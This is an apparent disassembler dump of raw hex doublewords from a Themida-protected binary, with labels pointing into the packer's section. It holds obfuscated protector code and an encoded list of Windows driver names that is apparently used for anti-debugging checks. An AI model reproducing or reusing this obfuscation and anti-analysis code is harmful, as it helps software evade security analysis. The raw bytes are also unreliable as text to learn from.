		dd 80h,	95FFFF6Ah, 615248Dh, 9589FC60h,	6150329h, 52006A61h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0F3ACBDD3h, 0E97ABAF0h, 8, 5C881676h, 5C2F9C2Fh, 13E9h
		dd 1B8A4E00h, 7E73C832h, 613A6F5Bh, 0F5840EC9h,	0DC85E1BCh
		dd 0B8h, 85B58900h, 8B061504h, 60282454h, 0B58BC68Ah, 61524F9h
		dd 8589F961h, 6150A5Dh,	0D58D8B60h, 0E8061525h,	0Ah, 0A6B8759Bh
		dd 8F378092h, 0FE9B6AAh, 4A000000h, 5659468h, 78152E57h
		dd 5DD2EEFh, 6158129Fh,	3CBEh, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0E39AF4AAh
		dd 0CE9h, 0C4B23100h, 0C01F5AB0h, 0A2CCB965h, 3616078h
		dd 0F242474h, 68Dh, 15B52900h, 6606150Ch, 0BE9ADh, 0E8910000h
		dd 326E0254h, 0C63B633Dh, 2444037Fh, 0BD296024h, 6150D65h
		dd 189D9D29h, 50610615h, 22810Fh, 52500000h, 310F5250h
		dd 310F585Ah, 11E9h, 6167C00h, 287E6E96h, 4961BA91h, 1024C83Dh
		dd 585A55FCh, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 44B1C351h, 895DFE3Fh
		dd 15176595h, 29B58906h, 8B061530h, 6A7840h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DC6D70C3h
		dd 83F9220Ch, 1872A2BDh, 850F0006h, 157h, 68C0Fh, 8D290000h
		dd 6151075h, 50525090h,	0F525052h, 0F585A31h, 0F525031h
		dd 5A585A31h, 60310F58h, 0B2C2E5BEh, 8E965h, 39D60000h
		dd 0E9C68DEEh, 5A61E1FAh, 8F0F5058h, 14h, 0FE9h, 777E7700h
		dd 0E679C792h, 19922928h, 3C0C56DDh, 50006A90h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0C20178D7h
		dd 36A995CEh, 8E93A44h,	0C000000h, 0D691AC1Bh, 9BBEEBFh
		dd 151D6D85h, 24448B06h, 52006A2Ch, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0CFE29CF4h, 40177FC4h
		dd 0BE9DBh, 797A0000h, 4F3622D3h, 0F4747D1Ah, 11E97Ch
		dd 9C070000h, 5FB0A87h,	58555F6Dh, 0CD2A3DA3h, 5029CB63h
		dd 8E0F5250h, 6, 860Fh,	310F0000h, 820F5250h, 0
		dd 850F310Fh, 0
		dd 585A585Ah, 0E9240489h, 11h, 2570E691h, 2BCC080h, 0EFAE10C6h
		dd 197B8484h, 95BD0194h, 8D061516h, 1845F685h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 29F504B2h, 15088595h, 0FD0FF06h, 68Ah, 0CD8D8900h, 306152Eh
		dd 0FC282444h, 26DDB589h, 408B0615h, 95896018h,	6150E3Dh
		dd 5E9h, 0F894FD00h, 6061C686h,	3F18D01h, 8B660615h, 6A4061F9h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 3CCCC353h, 0E9F9A63Fh, 0Ah, 53B9D2D8h, 5304E6ADh
		dd 0FE974CEh, 0F6000000h, 691B77CDh, 19F4A6Bh, 0B1A017DFh
		dd 85890AF6h, 618729Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 3BC35747h, 0BE833E13h, 29602742h, 151911BDh
		dd 9586106h, 1502D5BDh,	78708B06h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 2BC35242h, 500A5ACDh, 68F0F0Dh
		dd 1000000h, 151545B5h
		db 6, 83h
word_5B129A	dw 1CC6h		; DATA XREF: Themida_:0057C454o
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8CC35141h
		dd 3DB767D3h, 8D640B96h, 6A9654h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8C0FF6C3h, 0Eh, 35958B60h
		dd 89061517h, 15141D8Dh, 7C816106h, 2424h, 870F1000h, 13Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 24C35040h
		dd 0FF791EFAh, 4A8C983h, 0B8B160F5h, 52505061h,	128C0Fh
		dd 0DE90000h, 8E000000h, 215FD9FBh, 0C5503293h,	0D77B8AAEh
		dd 8A0F310Fh, 0Ch, 7E9h, 27D34C00h, 0E11394AEh,	489585Ah
		dd 0FE924h, 95CC0000h, 0B0D197BFh, 16921481h, 1D4AB1CCh
		dd 24448B5Fh, 57006A28h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 1B306D7Ch, 4651D700h, 2A919589h
		dd 0F900615h, 1282h, 0DE900h, 0B65E0000h, 80880AA2h, 7715870Dh
		dd 501EEDF3h, 52505250h, 0DE9h,	8C4FD800h, 0F58C13F1h
		dd 0A12E2BD4h, 310F8D5Eh, 8F0Fh, 585A0000h, 8B60310Fh
		dd 61E5B5CBh, 6A90585Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 2D4DC356h, 18ED8531h
		dd 0BD310615h, 6153439h, 45F6858Dh, 6A0618h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 557335C3h
		dd 0A9BD0194h, 0FF061505h, 0D9D89D0h, 9606151Dh, 0AE9h
		dd 8A147900h, 3CAF2519h, 367C2B0h, 6A242474h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0C390C352h, 4F072581h, 0E9536E65h, 0Ah, 2A09EFE9h, 0BA562351h
		dd 0BD8D62E0h, 61521D9h, 0B8F0Fh, 66600000h, 9D03D68Bh
		dd 61518A5h, 0B589AD61h, 61509F1h, 24247C81h, 10000000h
		dd 120870Fh, 60F80000h,	2761BD8Bh, 0AE80615h, 66000000h
		dd 0A29BFCEEh, 257DA5BDh, 0BE90Bh, 0AC340000h, 0B160B98h
		dd 5D777FE4h, 906159C3h, 6E9h, 1E131B00h, 503D7150h, 8A0F5250h
		dd 2, 310F6160h, 10E95250h, 39000000h, 6FEBB6C9h, 0F4414B4Ah
		dd 60AE3B4Bh, 0FEB4007h, 0F525031h, 5A585A31h, 90585A58h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D1C35343h
		dd 0E9DFD28Eh, 0Bh, 1A872C4Ah, 8C0BFE45h, 8BD1406Dh, 89282444h
		dd 15182D95h, 0E9609006h, 0Dh, 0EEFB0571h, 878BF83Fh, 67CE04B3h
		dd 0F5061C8h, 0E89h, 9E900h, 29800000h,	9278727Ah, 9073B932h
		dd 10C99501h, 858D0615h, 61845F6h, 0C880Fh, 800F0000h
		dd 6, 8A18D09h,	0D0FF0615h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 42C35343h, 80E3DEC1h,	11E9h, 0B12EBB00h
		dd 0A7FB5C94h, 0F0622C37h, 0C7FF9D13h, 4403479Ch, 8D292424h
		dd 6150E11h, 52006AABh,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 7AEB82Dh,	2F4BE88Eh, 8D2939D5h, 6151A3Dh
		dd 0FA81h, 820F0001h, 748h, 0C8A0Fh, 890F0000h,	6, 8B0Fh
		dd 0BD8D0000h, 615186Dh, 6E9h, 85192A00h, 0F80FDC4h, 0E87h
		dd 0DE816000h, 57101B53h, 0AF72D981h, 0AD614145h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DFC35040h, 731B26Ch
		dd 61A6991Bh, 14E960h, 2FBA0000h, 0F4A8D9CAh, 0D8603980h
		dd 0C7240DF7h, 0EEF1A1ABh, 0E961B815h, 0Ah, 0CEF6614h
		dd 9261D547h, 7C815401h, 2424h,	870F1000h, 0F3h, 0B830Fh
		dd 6E90000h, 4A000000h,	3F815DBDh, 52505095h, 32BF6660h
		dd 615857F2h, 0F60310Fh, 80h, 830F00h, 61000000h, 489585Ah
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0E44EF007h, 18C0F50h, 0F5000000h, 27D8589h
		dd 448B0615h, 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 212EABC3h, 9529038Ch, 61519F9h
		dd 60525050h, 5E8h, 0AEC08200h,	0B05B341Fh, 310F6114h
		dd 0F525060h, 8B585A31h, 585A61D6h, 6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 458C350h, 10E9FCDDh,	64000000h, 4E5A891Dh, 0A5230E2Eh
		dd 56C3EF83h, 8DE09D9Ah, 1845F685h, 0FDBD8906h,	0FF061506h
		dd 4D9589D0h, 3061510h,	0F242444h, 68Ah, 7DB58900h, 50061510h
		dd 0FE9h, 6DAAF400h, 80A3AD7Eh,	0A06DECDEh, 0D4781477h
		dd 31240489h, 15286DB5h, 6AAB06h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0ED48A5C3h, 573E7FD5h
		dd 0EE9E5A1h, 35000000h, 96E1CF45h, 748A71E7h, 0B890376Bh
		dd 21BD8DBBh, 6A061530h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 951EC357h, 2D45E339h
		dd 9AFE186h, 150D99BDh,	18B0F06h, 0F8000000h, 56006AADh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0DD80605Dh, 6820FF8h, 0F000000h, 85h, 800F6100h, 0Eh
		dd 0DD958960h, 0F061525h, 89h, 7C816100h, 2824h, 870F1000h
		dd 0D7h, 18018D09h, 0F500615h, 1581h, 0BE86000h, 9C000000h
		dd 0B7AF6654h, 0BB61BC75h, 505B1EADh, 4896158h,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0A29F5524h, 2C24448Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0B3C35747h, 0BAAD9F86h, 0F1852995h, 5006152Dh
		dd 12E960h, 6CB40000h, 81873931h, 92A92901h, 645C8F99h
		dd 90939FCCh, 8961C28Bh, 0BD892404h, 61504A9h, 45F6858Dh
		dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0D3AA5AC3h, 4454AA65h, 604EDAB0h,	8166CB8Bh
		dd 6189F7EEh, 1860Fh, 0FFF50000h, 558501D0h, 3061534h
		dd 89282444h, 152CB98Dh, 5EF5AB06h, 729E8DFFh, 0BD830618h
		dd 618729Eh, 330A7500h,	0C0B58DC0h, 0FF061882h,	81AD56E6h
		dd 28247Ch, 77100000h, 448B500Eh, 8D502C24h, 1845F685h
		dd 3D0FF06h, 97282444h,	858ADF8Bh, 618729Ah, 474C084h
		dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh,	0D18B49C9h
		dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h,	0D166EBD1h
		dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh,	0D333C833h
		dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h,	0F74D03Bh
		dd 4C6835Eh, 0A5D85FFh,	5DE90615h, 5EFFFFFFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5FC35646h, 830F3BD0h
		dd 6, 2F2D8501h, 95290615h, 6153399h, 0A1BD0360h, 6606152Dh
		dd 0E172E381h, 5D858B61h, 106150Ah, 15225985h, 6AE0D106h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 13E0C355h, 9B10998Dh, 0FF59B16h, 685h, 49BD8900h
		dd 60061522h, 8C18D89h,	0BF660615h, 3615FA3h, 15302185h
		dd 11E906h, 446E0000h, 0A14F9B2h, 4262D6CAh, 1E9144E3h
		dd 0E98624C6h, 5, 867A65A3h, 0BE30h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0F965DC3h
		dd 18Eh, 0AD66F500h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 3AC35242h, 71673DCEh,	1870Fh,	0C1F50000h
		dd 6A02E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 898D92C3h, 1533FD9Dh, 0D9850306h,	6A061521h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 6C0C356h,	0DE181BA8h, 8B6660F4h, 819D8BDEh
		dd 61061501h, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0D9C3A8DEh, 9785EA17h, 0D8F0F57h
		dd 0E9000000h, 8, 4EA252B9h, 3CC8A546h,	5E9ADh,	1E0B0000h
		dd 816B55D8h, 24247Ch, 0F100000h, 10987h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 4D69E509h, 60716DEFh, 18ED9D89h, 9D8B0615h, 61522D9h
		dd 13E961h, 4B9E0000h, 0C6163C55h, 5534F5ECh, 981BF2Fh
		dd 856B32A4h, 0B660504Eh, 28A0F8Ch, 60000000h, 4896161h
		dd 8D31F924h, 6150D95h,	2824448Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0ACC35141h,	953D8496h, 0CE9h
		dd 0D8A1A000h, 7161527Eh, 0B71424FCh, 5E95040h,	26000000h
		dd 63FF1914h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 2495C355h, 95DA318Fh
		dd 36B301Dh, 0B9B58B60h, 0BB061524h, 0B3314B0h,	0F6858D61h
		dd 6A061845h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0F7DC352h, 0A86h, 5E900h, 38970000h
		dd 0FF140B66h, 4403F5D0h, 6A2424h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 829602C3h, 6E9h, 0CDB8D200h
		dd 894ABDF9h, 0E91C2444h, 10h, 2B9FD419h, 0CA5251CBh, 1DB7470Eh
		dd 4AC47CAAh, 6840Fh, 8D890000h, 6151555h, 9C585C6h, 0C7000615h
		dd 18745D85h, 6, 0A285C700h, 61872h, 0F000000h,	68Ch, 0E9B50900h
		dd 0F9061527h, 11E961h,	0C8D50000h, 488483CCh, 0ABB0DB52h
		dd 82C006A8h, 0C2FCC170h, 95290008h, 61522B9h, 21D9858Bh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 19F89DC3h, 0C8E0FF9h, 0F000000h, 68Fh, 0C9958900h
		dd 4A06151Ch, 952BF960h, 6151DBDh, 4D26B61h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E2C35242h, 9447C2Ah
		dd 152511B5h, 6AC20306h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0BCA2C356h,	75231EE4h
		dd 6A96B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 5C1114C3h, 0D704DAC6h, 6AADF5h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 415C5AC3h
		dd 75028567h, 247C8119h, 24h, 36870F10h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6008C356h, 2A81BD8Bh, 0E9610615h, 11h, 0C46BF375h, 0DFA7538Bh
		dd 0A2A8277Dh, 5EBB1C7Ch, 8D0F5067h, 8,	28C0Fh,	61600000h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 84FFC353h, 0D3A75714h,	448BFCD0h
		dd 6A2824h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 50B0F7C3h, 14E9h,	0FCB72000h, 91BAA1B2h
		dd 2E9CE0B4h, 42139F4Ch, 0ADAB336Ah, 2404898Eh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 90C35141h, 0C0AAA951h
		dd 0FF5B746h, 0A8Dh, 5E506000h,	1DBD2Bh, 8D610615h, 1845F685h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 44F47C3Ah, 89C52750h, 150AC59Dh,	6AD0FF06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0CBFDC357h, 850F08B3h, 1,	0FD48E9F9h, 8B0FFFFFh
		dd 1, 0F9858DFCh, 1061888h, 1509F1B5h, 60609006h, 0B661D18Bh
		dd 60506196h, 95045B9h,	618BB476h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0BDB0FD34h
		dd 1D76A83Bh, 35FF64h, 60000000h, 0FFB8B60h, 80h, 66606100h
		dd 2B025DB8h, 1510FDBDh, 8B616106h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F73B12C3h
		dd 0F4845F16h, 85090FCCh, 6152F05h, 16018589h, 85890615h
		dd 6152A65h, 2789BD89h,	89640615h, 25h,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 23DDD4E7h, 0E860F302h, 13h, 0D44CBDB3h, 4D732D60h, 0FCE5DA61h
		dd 2A4253D8h, 60FEE3DCh, 820F5F61h, 0
		dd 0A5858D61h, 31061886h, 152B29B5h, 0FDB58906h, 8906152Fh
		dd 6A0160h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 9A03FC3h,	0AEE94A95h, 6A000002h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 491EC353h, 0DB8BF96Ch, 0E8h,	0ED815D00h, 618869Eh
dword_5B20D4	dd 12FF9CBCh, 1BD8300h,	6151Eh,	858B1874h, 6152849h, 8B0000C6h
					; DATA XREF: Themida_:0057B454o
		dd 15282D85h, 0C606h, 266995FFh, 0FF600615h, 186EA6B5h
		dd 0AA858D06h, 5006186Eh, 70A2858Dh, 0FF500618h, 152F2995h
		dd 0CC48306h, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0E747BEAEh, 5C5462A8h, 0A619D09h
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 7DFA9DC3h, 12547894h, 70A2B58Dh, 6A0618h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0D6F9D4C3h, 0EE9F897h, 0FC000000h, 223DEBECh, 50BE2170h
		dd 0E8C3E951h, 95BD8D26h, 6A06151Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 1D2DC356h
		dd 5D26DB58h, 960F53Ch,	1511818Dh, 218D2906h, 6106152Dh
		dd 0F003E80h, 3784h, 0E58D2900h, 0A406152Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0AAC35242h, 9D01EDD1h
		dd 6152F55h, 0FFC6E9F9h, 8D01FFFFh, 6150655h, 0B8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 5291B0C1h, 6660600Ah, 0F58E4DB9h, 25858B61h,	61061529h
		dd 5DBD89AAh, 0FC061504h, 7B8h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0F06E464h
		dd 682h, 41958900h, 0F061510h, 1E80h, 18810F00h, 0E9000000h
		dd 13h,	0B2E94E2Fh, 1525EACh, 77271214h, 2B8E2895h, 89F686A8h
		dd 150451B5h, 985C706h,	1061516h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 7525C357h, 2B49C7A2h, 4F9E8D8Dh, 6A0615h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 6308BCC3h
		dd 845A1F54h, 8D895601h, 6150879h, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 97D194C3h
		dd 382B7EC3h
byte_5B2328	db 8Bh			; DATA XREF: Themida_:0057A7A0o
					; Themida_:0057ADA8o
byte_5B2329	db 5Ch,	24h, 0Ch	; DATA XREF: Themida_:0057BAFCo
		dd 0E855h, 815D0000h, 188903EDh, 0B8838B06h, 89000000h
		dd 186EA685h, 97858D06h, 89061886h, 0B883h, 0C0335D00h
		dd 50006AC3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 2585015Eh, 8906151Ah, 1506619Dh,	6A6006h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0BF395C3h, 1299DFE3h, 8B56858Dh, 81600618h, 0D7F98EC3h
		dd 6D8D0325h, 61061526h, 9E9h, 0B3E12200h, 808BA33Eh, 0E9501D36h
		dd 8, 8E637AF0h, 4685336Ch, 6A240489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1AB9C352h
		dd 6A794347h, 174D8589h, 0FF640615h, 35h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 9ECE5DD8h, 6475A0BBh, 2589h,	8DF90000h, 188BCB85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 1D1870E3h, 89E3F515h, 6A0160h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 20F3DCC3h, 916E136Bh
		dd 8D89AD00h, 615161Dh,	9C585C6h, 6A4F0615h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 2464C350h, 8980E9FCh, 152ACDBDh, 0D0776806h,	52509494h
		dd 12E9h, 4814000h, 60853D74h, 0F65A21B4h, 2CCCC3EDh, 0FF7ACA1h
		dd 50525031h, 5A310F52h, 60310F58h, 5A585A61h, 24048158h
		dd 6A33A3B3h, 6800Fh, 85090000h, 61528B1h, 2811B5FFh, 5E90615h
		dd 2E000000h, 0CF0B508h, 0BC858DFCh, 6A061872h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 4137C357h, 0F5AFA28h, 1B89h,	15880F00h, 0E9000000h
		dd 10h,	941D11B7h, 6A33FBD8h, 0FC3BE15Ah, 13D8BCD6h, 0B531D0FFh
		dd 61508C9h, 0A5E9h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 28BB66A8h, 0AE7B23A4h
		dd 6660AEA0h, 0B501D68Bh, 6151D61h
		db 61h
byte_5B2585	db 8Bh,	5Ch, 24h	; DATA XREF: Themida_:0057B17Co
		dd 0E8550Ch, 5D000000h,	8B60ED81h, 858B0618h, 6151685h
		dd 28118589h, 858B0615h, 6150789h, 21598589h, 858B0615h
		dd 6151789h, 0DE98589h,	85C60615h, 61509C5h, 5D85C700h
		dd 61874h, 8D000000h, 188BCB85h, 0B8838906h, 5D000000h
		dd 0E9C3C033h, 14h, 0C1A67907h,	0F460C5DAh, 0DABB2858h
		dd 1F035467h, 40A54E33h, 22D18531h, 74BC0615h, 890012FFh
		dd 1502F595h, 58F6406h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 95C35646h
		dd 7E096B06h, 57AF0611h, 0C9BD2998h, 60061526h,	0EE9h
		dd 2607D600h, 0A965AC1h, 9820CA24h, 0F6F7E1Fh, 68Ah, 918D8900h
		dd 61061525h, 6004C483h, 31E98166h, 0A1BD31BBh,	6106152Dh
		dd 83E961h, 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h
		dd 68850Fh, 0B70F0000h,	0D8033C43h, 503B8166h, 57850F45h
		dd 8B000000h, 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch
		dd 1C738B20h, 20247C03h, 20247403h, 0FFC983FCh,	245C8B41h
		dd 3178B1Ch, 83202454h,	28A04C7h, 874C084h, 0E875033Ah
		dd 0F2EB4243h, 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h
		dd 5E5F1C24h, 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh
		dd 10h,	0D2035939h, 0D5F975E2h,	1A83FA23h, 45048049h, 3830Fh
		dd 0EF800000h, 81F958A9h, 5C6BC0h, 6B82BE00h, 0FBB935C6h
		dd 0F000016h, 30FFD9B7h, 18B0Fh, 5FF90000h, 0ADB8166h
		dd 87C781B3h, 0F3420A4h, 0EF81D6B7h, 222AF29Ch,	41C38166h
		dd 7EF8191h, 0F0D2F8Ah,	3889D9B7h, 1E883FCh, 18E0Fh, 48FC0000h
		dd 66604848h, 0BA5AF5B9h, 3B5FD969h, 1E98161h, 0F000000h
		dd 0FFFFAD85h, 0E831B2FFh, 0Eh,	47C886C2h, 4227B701h, 9B76FEB6h
		dd 0FE97A4Ch, 79000000h, 427D973h, 0AD7873C2h, 98A0E8EDh
		dd 0B25E4F9Fh, 0D5C6817Eh, 6000006Bh, 0ECBB866h, 0AAB861F9h
		dd 81771713h, 0E90714C0h, 0FFD08B88h, 50605936h, 0F5ED68Bh
		dd 8161C8BFh, 0E26100E9h, 0AE81Bh, 8BAC0000h, 5E453A5Bh
		dd 0F4E17DC9h, 5FD7BF0Fh, 0B38AE981h, 0F1814819h, 1D60AA3Dh
		dd 0EE850h, 4BB60000h, 79E2AEADh, 3DEF5D2Bh, 0A9ECDA1Eh
		dd 0FCC78166h, 895A5FB6h, 5653600Eh, 9E95E5Bh, 25000000h
		dd 340B463Ch, 41158113h, 4EE8361h, 6FDA8166h, 1E8813Ch
		dd 0F000000h, 1585h, 0F38B6000h, 0CABF0F53h, 1EE96159h
		dd 66000000h, 0ED33D49Dh, 70E9E15Eh, 0C4FFFFFFh, 0D53FC185h
		dd 26C1FAC9h, 8255E96Bh, 0C87C8EF3h, 4934EB6Dh,	474D5346h
		dd 56202052h, 2020444Bh, 56202020h, 20204D4Dh, 56202020h
		dd 334E4957h, 56202032h, 444C4458h, 202052h, 2 dup(0)
		dd 0E9000000h, 623h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 99C35545h, 90989B62h,	60E5BFB3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0EDC35545h, 5C85C712h
		dd 6188Eh, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0C08CC350h, 0FC8571C8h, 0FF9C68Bh
		dd 6AD8B7h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0C176B8C3h, 860F10E8h, 0Fh, 0AE9h, 4668FC00h
		dd 8C7017AFh, 66BF1CA0h, 6A08C8C1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A2FC351h
		dd 60858913h, 0E906188Eh, 8, 68050C95h,	55BBE9B9h, 8CBC166h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 9FC35141h
		dd 9B9378A9h, 0F40FB83h, 4B85h,	0BF0F6000h, 60F860D9h
		dd 8D616161h, 188E34BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 7148B9D9h, 3FEEFB05h
		dd 810F8BF8h, 1, 28E9F8F5h, 0F9000001h,	0A8E38160h, 61309FE9h
		dd 0F0DFB83h, 4D85h, 0CE9F900h,	22000000h, 0EF47EA2h, 2B4F4DC9h
		dd 8D504BDBh, 188E3CBDh, 0BF0F6006h, 43D981C7h,	613EE145h
		dd 0EEE9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0FCA6EA0Eh, 6F4DE913h, 0FB83F03Ch
		dd 40850F01h, 60000000h, 0D39BF381h, 0BB603C7Ch, 1502D9Bh
		dd 0DE8h, 24222900h, 0B209C7E2h, 3083D80Ch, 615A7BD1h
		dd 44BD8D61h, 0E906188Eh, 6, 0D2DB6409h, 0E9F9F04Ah, 87h
		dd 1800Fh, 83F80000h, 850F2AFBh, 47h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 65C35242h, 0C820Fh,	860F0000h
		dd 6, 8B0Fh, 0BD8D0000h, 6188E4Ch, 3DE9F5h, 8E90000h, 41000000h
		dd 57412C6Ch, 836491CAh, 850F27FBh, 253h, 0D0B70F60h, 4800Fh
		dd 0BA660000h, 0E9611B13h, 0Ch,	0B5FD8353h, 0F494A953h
		dd 3B2ADB5Ch, 8E54BD8Dh, 89F80618h, 188E64BDh, 7800F06h
